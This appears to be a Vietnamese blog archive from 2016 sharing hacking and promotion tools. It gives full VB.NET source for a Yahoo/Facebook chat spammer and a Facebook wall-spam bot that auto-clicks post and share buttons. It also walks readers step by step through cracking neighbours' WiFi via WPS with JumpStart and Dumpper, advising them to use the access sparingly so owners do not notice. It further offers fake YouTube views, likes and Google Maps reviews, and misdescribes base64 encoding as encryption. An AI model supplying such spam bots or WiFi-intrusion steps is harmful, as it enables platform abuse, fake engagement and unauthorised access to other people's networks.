  5. Tăng lượt view cho video Youtube
  6. Tăng lượt like cho video Youtube
  7. Tăng comment cho video Youtube
  8. Tăng lượt đăng ký cho kênh Youtube
  9. Review địa điểm trên Google Maps
  10. Rating địa điểm trên Google Maps
  11. Submit link lên Google để đánh index nhanh
  12. Đăng bài tự động lên trang cá nhân G+
  13. Đăng bài tự động lên những cộng đồng đã tham gia G+
  14. Đăng bài tự động lên trang Google Bussiness của bạn
  15. Kết bạn tự động G+

Download dùng thử theo đường dẫn bên dưới:
Hoặc

Thứ Hai, 24 tháng 10, 2016

Code spam YAHOO + FACEBOOK


Đây là hình ảnh ứng dụng ^^. Ứng dụng xài rất ok các bạn nhé không lỗi nhé và điều đặc biệt là mình không cài virus vào nhé vì làm thế nếu bị phát hiện sẽ mất uy tính của một CODER như mình ^^

Còn đây là VIDEO mình làm hướng dẫn cho các bạn :D


Full code cho ai cần :)
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
SendKeys.Send(TextBox1.Text)
SendKeys.Send("{ENTER}")
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MessageBox.Show("Cảm ơn các bạn đã sữ dụng Auto Spam Yahoo + Facebook", "Thông Báo")
Process.Start("http://www.bomkhung.info")
End Sub
End Class

Đoạn code hoàn toàn đơn giản phải không các bạn ^^

Còn đây là link Yahoo để các bạn có thể test thử nhé

Còn bên dưới là link download cho các bạn test thử app :)

Chủ Nhật, 23 tháng 10, 2016

[VB.NET] Share full code FACEBOOK SPAM WALL


Hôm nay mình xin chia sẽ những đoạn code mà mình hồi xưa đã dùng để viết ra ừng dụng FACEBOOK SPAM WALL cho mọi người :). Bên dưới là đoạn code

Imports System.Net
Imports Microsoft.VisualBasic.ApplicationServices
Imports System.Text.RegularExpressions

Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://m.facebook.com/")

' kiểm tra kết nối
If NetworkInformation.NetworkInterface.GetIsNetworkAvailable Then
ToolStripStatusLabel8.Text = "Connecting" & Space(1) & "IP Adress :" & System.Net.Dns.GetHostEntry(System.Net.Dns.GetHostName).AddressList.GetValue(0).ToString
Else
ToolStripStatusLabel8.Text = "Disconecting!"
End If
If WindowState = FormWindowState.Minimized Then
Me.Hide()
End If
End Sub
Private Sub WebBrowser1_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs)
ProgressBar1.Maximum = e.MaximumProgress
If e.CurrentProgress > ProgressBar1.Maximum Then
ProgressBar1.Value = ProgressBar1.Maximum
ElseIf e.CurrentProgress < ProgressBar1.Minimum Then
ProgressBar1.Value = ProgressBar1.Minimum
Else
ProgressBar1.Value = e.CurrentProgress

End If

End Sub




Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

ToolStripStatusLabel9.Text = ToolStripStatusLabel9.Text + 1
If WebBrowser1.ReadyState = WebBrowserReadyState.Complete Then
End If

' hàm Send từ textbox1 lên text của facebook
Dim htmlElements As HtmlElementCollection = WebBrowser1.Document.GetElementsByTagName("textarea")

For Each el As HtmlElement In htmlElements

If el.GetAttribute("name").Equals("xhpc_message") Then
End If
el.SetAttribute("Value", TextBox1.Text)

Dim allelements1 As HtmlElementCollection = WebBrowser1.Document.All

For Each webpageelement As HtmlElement In allelements1

If webpageelement.GetAttribute("value") = "Chia sẻ" Then

webpageelement.InvokeMember("click")
End If
Next
Next

Dim allelements As HtmlElementCollection = WebBrowser1.Document.All
' button đăng
For Each webpageelement As HtmlElement In allelements

If webpageelement.GetAttribute("value") = "Đăng" Then

webpageelement.InvokeMember("click")
End If
Next
'button bình luận
Dim binhluan As HtmlElementCollection = WebBrowser1.Document.All

For Each webpageelement As HtmlElement In binhluan

If webpageelement.GetAttribute("value") = "Bình luận" Then

webpageelement.InvokeMember("click")
End If
Next
' button Post ( English US)
Dim EnglishUS As HtmlElementCollection = WebBrowser1.Document.All

For Each webpageelement As HtmlElement In EnglishUS

If webpageelement.GetAttribute("value") = "Post" Then

webpageelement.InvokeMember("click")
End If
Next
' button Share(chia sẻ) ( English US)
Dim EnglishUSs As HtmlElementCollection = WebBrowser1.Document.All

For Each webpageelement As HtmlElement In EnglishUSs

If webpageelement.GetAttribute("value") = "Share" Then

webpageelement.InvokeMember("click")
End If
Next
End Sub
Private Sub ToolStripSplitButton1_ButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripSplitButton1.ButtonClick

End Sub

Private Sub SpamToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SpamToolStripMenuItem.Click
ToolStripStatusLabel1.Text = "START" & Space(1) & ":"
Timer2.Start()

End Sub

Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
End
End Sub

Private Sub AuthorToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AuthorToolStripMenuItem.Click
MsgBox("Bờm Khùng Blogger" & vbCrLf & "Spam FaceBook V1.0" & vbCrLf & "Có Hỗ Trợ Unikey 4.0" & vbCrLf & "Email: admin@bomkhung.info or bom.lanhlung@gmail.com")
End Sub

Private Sub FacebookMeToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FacebookMeToolStripMenuItem.Click
Process.Start("http://facebook.com/bomkhungblog")
End Sub

Private Sub StopToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem.Click

ToolStripStatusLabel1.Text = "STOP" & Space(1) & ":"
ToolStripStatusLabel9.Text = "0"
Timer2.Stop()

End Sub

Private Sub LoadVitiminToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LoadVitiminToolStripMenuItem.Click
WebBrowser1.Navigate(TextBox2.Text)
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
'giờ
ToolStripStatusLabel3.Text = TimeOfDay
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
' ngày tháng năm
Me.ToolStripStatusLabel5.Text = Format(Me.DateTimePicker1.Value, "dd/MM/yyyy")
End Sub



Private Sub SpamTokenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SpamTokenToolStripMenuItem.Click
Timer2.Start()
End Sub

Private Sub DừngSpamTokenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DừngSpamTokenToolStripMenuItem.Click
Timer2.Stop()
End Sub

Private Sub LikeToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LikeToolStripMenuItem.Click
'Button thích ( chưa hoạt động )
Dim s As HtmlElementCollection = WebBrowser1.Document.All

For Each webpageelement As HtmlElement In s

If webpageelement.GetAttribute("value") = "Thích" Then

webpageelement.InvokeMember("click")
End If
Next
End Sub

Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
ProgressBar2.Increment(1)
If ProgressBar2.Value = 10 Then
TextBox2.Text = TextBox3.Text
WebBrowser1.Navigate(TextBox3.Text)
End If
If ProgressBar2.Value = 20 Then
TextBox2.Text = TextBox4.Text
WebBrowser1.Navigate(TextBox4.Text)

End If
If ProgressBar2.Value = 30 Then
TextBox2.Text = TextBox5.Text
WebBrowser1.Navigate(TextBox5.Text)
End If
If ProgressBar2.Value = 40 Then
TextBox2.Text = TextBox6.Text
End If
If ProgressBar2.Value = 50 Then
TextBox2.Text = TextBox7.Text
WebBrowser1.Navigate(TextBox6.Text)
End If
If ProgressBar2.Value = 60 Then
TextBox2.Text = TextBox8.Text
End If
If ProgressBar2.Value = 70 Then
TextBox2.Text = TextBox9.Text
End If
If ProgressBar2.Value = 80 Then
TextBox2.Text = TextBox10.Text
End If
If ProgressBar2.Value = 90 Then
TextBox2.Text = TextBox12.Text
End If
If ProgressBar2.Value = 100 Then
TextBox12.Text = TextBox2.Text
Timer5.Stop()
ProgressBar2.Value = 0
Timer4.Start()
End If
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
WebBrowser1.GoBack()

End Sub

Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
ProgressBar2.Increment(1)
If ProgressBar2.Value = 10 Then
TextBox2.Text = TextBox13.Text
End If
If ProgressBar2.Value = 20 Then
TextBox2.Text = TextBox14.Text
End If
If ProgressBar2.Value = 30 Then
TextBox2.Text = TextBox15.Text
End If
If ProgressBar2.Value = 40 Then
TextBox2.Text = TextBox16.Text
End If
If ProgressBar2.Value = 50 Then
TextBox2.Text = TextBox17.Text
End If
If ProgressBar2.Value = 60 Then
TextBox2.Text = TextBox18.Text
End If
If ProgressBar2.Value = 70 Then
TextBox2.Text = TextBox19.Text
End If
If ProgressBar2.Value = 80 Then
TextBox2.Text = TextBox20.Text
End If
If ProgressBar2.Value = 90 Then
TextBox2.Text = TextBox21.Text
End If
If ProgressBar2.Value = 100 Then
TextBox2.Text = TextBox22.Text
Timer4.Stop()
ProgressBar2.Value = 0
Timer5.Start()
End If
End Sub


Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
WebBrowser1.GoForward()
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
'không cho nhập trên 100 kí tự
If Len(TextBox23.Text) > 100 Then

Button3.Enabled = False

TextBox23.Text = "Erro! Bạn đã nhập qá 100 Kí tự"

Button3.Enabled = True
Else

'chat log
Dim Total As String = Environment.NewLine & "♥" & ToolStripStatusLabel3.Text & "|" & ToolStripStatusLabel5.Text & ":->" & TextBox23.Text
Dim request As WebRequest = WebRequest.Create("http://chat.bomkhung.net/post.php?w=" & Total)
request.GetResponse()
Dim webclient As New Net.WebClient
TextBox23.Text = Nothing
WebBrowser2.Navigate("http://chat.bomkhung.net/")
End If
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
' Download log suorce
Dim filename As String = DateString + ".txt"
Dim webclient As New Net.WebClient
webclient.DownloadFile("http://chat.bomkhung.net/chat.txt", filename)
End Sub

Private Sub SpamAllListToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SpamAllListToolStripMenuItem.Click
Timer2.Start()
Timer5.Start()
End Sub

Private Sub StopAllListToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopAllListToolStripMenuItem.Click
Timer5.Stop()
Timer2.Stop()
End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick
If (Me.WindowState = FormWindowState.Minimized) Then _
Me.WindowState = FormWindowState.Normal
Me.Activate()
Me.Show()
End Sub

Private Sub ChạyẨnToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ChạyẨnToolStripMenuItem.Click
Me.Hide()
End Sub
Private Sub ExitToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem1.Click
Me.Close()
End Sub

Private Sub OpenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenToolStripMenuItem.Click
Me.Show()
End Sub

Private Sub UpdateToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UpdateToolStripMenuItem.Click
Try
Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://bomkhung.info/vs.txt")
Dim response As System.Net.HttpWebResponse = request.GetResponse()

Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

Dim newestversion As String = sr.ReadToEnd()
Dim currentversion As String = Application.ProductVersion

If newestversion.Contains(currentversion) Then
Else
MsgBox("Chương trình đã bị khóa! Hoặc Có Thể Hosting Bị Die", MsgBoxStyle.DefaultButton1, "Thông Báo")
MsgBox("Các Bạn Vui Lòng Vào Homepage Để Cập Nhật!", MsgBoxStyle.DefaultButton1, "Thông Báo")
End
End If
Catch ex As Exception
MessageBox.Show(ex.Message)

End Try
End Sub
End Class

Các bạn cũng lưu ý luôn nhé ! Ứng dụng này chỉ sữ dụng cho ngôn ngữ TIẾNG VIẾT thôi nhé :D nếu bạn nào muốn sữ dụng thì buộc phải đổi sang ngôn ngữ Việt Nam nhé :D, còn ai muốn sữ dụng luôn thì để lại email mình send cho nhé !!! Thanks :D


Và trong bộ mã nguồn trên mình có thêm 1 đoạn code chat online như " CHAT.BOMKHUNG.NET " nhé ^^!

Thứ Bảy, 22 tháng 10, 2016

PHẦN MỀM HACK PASS WIFI CHỈ TRONG 2 PHÚT (ĐÃ TEST 2014)


Modem Wifi bây giờ quá thông dụng, thuê bao giá cũng vừa phải nên chuyện hack pass không còn cần thiết nữa. Nhưng đối với các bạn sinh viên nghèo đang ở nhà trọ, gặp ngay chỗ chủ nhà không có mạng, không có wifi thì chỉ có mà ngáp gió, trong khi các nhà hàng xóm thì Wifi ầm ầm, password đâu mà vào. Giờ các bạn thử dùng pm này xem, biết đâu lấy được nhà hàng xóm thì may quá (tuy rằng trong lòng chẳng ai muốn hack làm gì).

Đây là 2 phần mềm dùng kết hợp nhau để tìm pass và tự động kết nối luôn là JumpStart 2.0 & Dumpper 50.5 đã được mình Việt hóa cho dễ sử dụng.

Mình cũng báo trước, qua nhiều cmt trên mạng thì pm này chỉ đạt hiệu quả tương đối, tùy theo Wps (Wifi protect setup) tắt hay mở, và loại card Wifi trong máy bạn. Anh em nào không lấy pass được thì do mình không may mắn thôi. Và mình cũng ko trả lời các cmt ko kiếm được pass wifi. Với các bạn đã lấy được pass, thì nên sử dụng có giới hạn, để chủ wifi khỏi biết, mình mới dùng được lâu dài. Các bạn bên nhà mạng có đọc được bài này thì cũng thông cảm cho anh em, khi cài modem wifi cho khách nhớ mở Wps; anh em xài ké cũng chỉ là bất đắc dĩ và tạm thời thôi.

Mình sử dụng máy bàn dùng card Wifi rời TP-Link TL 751, thấy xung quanh nhà mình là 5 Wifi, và nó tìm được pass của 3 Wifi, như vậy là quá đạt, trên cả tuyệt vời, giờ chỉ chọn Wifi nào mạnh nhất mà kéo thôi.

Link tải JumpStart (+Dumpper 40.1 Es):
hoặc

Link file Dumpper 50.5 Việt:

Hoặc

Link Dumpper 50.5 English cho bạn nào thích dùng:

Hoặc

– Giải nén gói tải về rồi chạy file JumpStart setup để cài đặt. – Sau khi cài đặt xong, bấm chuột phải vào icon ở dưới khay hệ thống và chọn Close. – Tiếp theo chạy file Việt là xong (nhớ làm bước trên, đóng pm đang chạy nền mới chạy file Việt được. Trong gói này còn có Dumpper 40.1 tiếng Tây Ban Nha ko cần dùng tới). Bây giờ tiến hành hack pass Wifi (thử trên máy bàn của mình) *. Tìm tự động: Chạy file Dumpper 50.5 Việt tải về, bấm ‘Quét’


như trong hình, tìm thấy xung quanh 5 mạng Wifi. Tiếp theo chọn thẻ ‘Wps’ và làm theo thứ tự hình dưới. Bấm chọn ‘Tất cả mạng Wifi’ rồi ‘Quét’, nó tìm được 3 mạng có mở Wps.


Bấm chọn 1 tên wifi nào sóng mạnh nhất, rồi bấm vào chỗ số 3 là ‘Chạy JumpStart’, nếu nó hiện 1 hộp thoại, bấm ‘Tiếp tục’.


Và pm JumpStart sẽ bắt đầu tự động chạy cho tới khi xong (chỉ mất chưa tới 2 phút).


(Nếu nó báo thất bại thì đừng nản chí, chọn tiếp wifi khác và tìm tiếp.) Muốn xem pass thì bấm tiếp vào thẻ ‘Hồ sơ’, bấm vào từng tên Wifi để xem password bên phải. Ghi lại các pass này để dùng về sau hoặc dùng cho điện thoại.


Nếu pass hiển thị là 1 dãy chữ số như dạng Hex, thì dùng thêm pmWiewlessKeyView của Nirsoft, nó sẽ hiện đúng password. Tải từ trang chủ: bản 32bit , bản 64bit


Nếu không tìm được thì thử tìm thủ công bằng cách dùng mã Pin có trong các wifi của thẻ Wps. *. Tìm thủ công: Chạy pm JumpStart, bấm Next và làm theo như hình dưới. Bấm chọn ‘Nhập Pin vào điểm truy cập Wifi’, bỏ mục ‘Tự động chọn mạng wifi’. Giờ quay lại màn hình thẻ Wps của Jumpper, bấm vào 1 tên, copy pin trong ô ‘PIN Wps’ rồi paste vào ô ‘PIN điểm truy cập’ của JumpStart, bấm Next. Qua hộp thoại kế, bấm vào tên wifi của mã pin, nếu không thấy thì bấm ‘Làm mới’ để nó tìm. Rồi bấm Next và chờ nó quét tìm. Thời gian quét sẽ lâu hơn tìm tự động ở trên. Nếu tìm được nó sẽ tự động kết nối luôn. Và khi đó, bạn vào lại thẻ ‘Hồ sơ’ của Dumpper sẽ thấy wifi đó xuất hiện và đã có password.




Nếu thành công, làm tiếp với các mã Pin còn lại. Phần mềm JumpStart còn có các chức năng khác, mời anh em tìm hiểu thêm. *. Đối với Win 8.x, ở hộp thoại thẻ Wps khi quét xong là đã biết được mã PIN, và có thể nhập mã Pin này để kết nối wifi luôn. Như hình dưới, bấm vào icon mạng ở khay desktop, rồi bấm đúp vào 1 wifi mà mình đã lấy được mã pin, nhập mã pin vào rồi bấm Next và chờ nó kết nối.


*. Đối với máy bàn gắn card rời, hiện có 2 loại card thông dụng là TP-Link và Tenda, mình dùng TP-Link TP-751N thấy giao diện card này ngoài nhập pass còn có cả nhập PIN như hình dưới. (mình thêm phần TP-Link với tùy chọn nhập pin này, mục đích là cho bạn nào dùng máy bàn, lấy pass ko được nhưng có được mã pin thì kiếm mua loại card này, chỉ khoảng 200k là dùng wifi được rồi. Tuy nhiên card TP-751N chỉ hỗ trợ tới win 7).


Vào thẻ WPS, chọn ‘Enter the PIN of my access point or wireless router’, nhập PIN lấy từ Dumpper vào ô dưới rồi bấm ‘Connect’ và chờ nó kết nối.



Các loại card khác thì các bạn tìm các mục tương tự. Lưu ý: – pm này tìm được pass hay ko còn tùy theo card wifi trong máy. Lâu nay mình quét thì nhận thấy laptop HP là dễ tìm nhất, còn Vaio, Asus thì chưa chắc. – hỗ trợ tốt cho dòng TP-Link, Tenda, ZyXEL… còn Dummper chủ yếu support cho TP-Link, ZyXEL, ADB, ShenZeng, Ayecom… – Nếu Wifi gia chủ mà mình nương nhờ đổi pass, thì mình chỉ việc quét lại tìm pass mới. – Với các pass đã chép lại được, lần sau bạn có thể kết nối thẳng luôn với pass này, kể cả SmartPhone. Chúc các bạn may mắn…

Thứ Tư, 19 tháng 10, 2016

7 SEO hacks for startups

You've just started your business and built an online profile, so now it's time to get visitors to your website.

SEO is a great medium to exploit for any business, especially startups that lack funding or have no marketing presence. Want to tackle your SEO strategy?

Try these 7 SEO hacks.

1. Get the right tools

To tackle your SEO, you're going to need data on areas to exploit. Consider using the following tools:

Google Keyword Planner – a free tool to help you identify generic and long-tail keywords.

SEMRush – this tool reveals the keywords your competitors are ranking for and where their backlinks are coming from.

2. Find your long-tail keywords

Long-tail keywords are search terms containing two or more words. They are searched for less frequently than generic keywords (one word search terms) but are easier to rank for and provide higher-quality traffic.


3. Piggyback on industry news/trends

When a searcher is looking for a trending news story on Google, Google serves an In the news section listing the latest articles first in the search.


Typically, it can take Google anywhere from 1 day to 1 month to index your pages, but its algorithm prioritises content that focuses on trending news. When something big happens in your industry, open up a Word Document and get writing.

4. Optimise your website

The more user-friendly your website is, the easier web crawlers can search and index it. An optimised website will also reduce your bounce rate and increase time spent on the site, which aids your SEO.

Oh, and make sure your website is mobile-friendly or else you could isolate more than 50% of your entire audience as a result!

5. Don't write short content

If your main source of traffic will be SEO, you need to write long-form content (over 1,000 words). SerpIQ found that content with more words typically ranked higher on Google.


6. Create infographics

A big part of SEO is building quality backlinks to your website. Infographics have been proven to be one of the best forms of content to obtain them.


Infographics are shared because they are quick to consume and easy on the eyes. Condense data and facts about your industry and display them in visual infographics.

7. Get help

Are you so busy working on your product/service or another area of your business that you don't have time to work on an SEO strategy right now? If so, then get help.

SEO is a marketing channel that gets better the more time you spend working on it. Not only will a reputable digital marketing agency typically get you better results than an in-house team, by starting now you'll be able to compound the results much faster than standing idle.

Nếu không hiểu anh em vào Google Translate mà dịch nhé ;)

Thứ Hai, 17 tháng 10, 2016

Bộ Code Base64 Image Encoder


Hôm nay mình xin chia sẽ cho các bạn đoạn code mà mình mới tìm ra được. Rất phù hợp cho những ai muốn dấu link ảnh đi, như các bạn đã thấy hình ảnh bên trên nó được mã hóa khá kỹ ;)

Đây là link ảnh đã được mã hóa !
data:image/jpeg;base64,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